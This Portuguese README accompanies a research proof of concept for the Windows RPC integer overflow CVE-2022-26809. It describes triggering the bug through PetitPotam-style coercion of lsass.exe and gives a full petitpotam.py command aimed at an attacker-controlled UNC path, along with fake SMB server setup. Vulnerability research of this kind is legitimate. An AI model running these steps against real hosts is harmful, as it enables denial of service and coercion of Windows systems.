
Este repositório é apenas uma pesquisa simples para o CVE; para uma análise mais detalhada, consulte aqui.
ATUALIZAÇÃO:05/19 2022
Esta análise ainda não foi concluída....
ATUALIZAÇÃO:05/22 2022
O Post de HuanGMz e o blog da corelight mostram o ponto vulnerável real:
OSF_CASSOCIATION::ProcessBindAckOrNak
Essa vulnerabilidade é acionada como CVE-2021-43893, quando se envia a solicitação ESFRPC para lsass.exe com caminho UNC, a vítima tentará acessar o destino como cliente, então isso acionará um estouro de inteiro na API do cliente
Se você tiver uma solução melhor para acionar essa vulnerabilidade, sinta-se à vontade para abrir uma issue ou enviar um PR :)
Como a vulnerabilidade é acionada de forma semelhante à CVE-2021-43893, basta clonar o código do PetitPotam.
Basta preparar o ambiente como aqui:
fake_smb_server.py no servidor do atacante após substituir o rpcrt.py pelo original(**Como a porta 445 é ocupada pelo System no Windows, é recomendável implantar o serviço no Linux **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(No entanto, não consegui acionar o BSoD, mas de acordo com o windbg, o estouro de inteiro foi acionado)Descrição Antiga
Aqui está o código de reprodução para a vulnerabilidade de RPC do Windows CVE-2022-26809, e ele faz referência a https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Minha versão do Python é 3.6.7
Não tenho certeza se GetCoalescedBuffer está relacionado ao CVE-2022-26809 real, apenas mantive isso
o poc.py apenas tenta acionar a função vulnerável OSF_SCALL::GetCoalescedBuffer; ele não causaria nenhuma falha porque o estouro de inteiro dword é muito difícil de reproduzir. E o rpcrt.py é o pacote Python impacket.dcerpc.v5.rpcrt; basta substituí-lo pelo original para acionar a vulnerabilidade (Lembre-se de fazer backup do original :) Acredito que o rpcrt.py tem muitos bugs).
Se não funcionar, talvez o wireshark possa ajudar a localizar o bug.
se necessário, basta usar nmake para recompilá-lo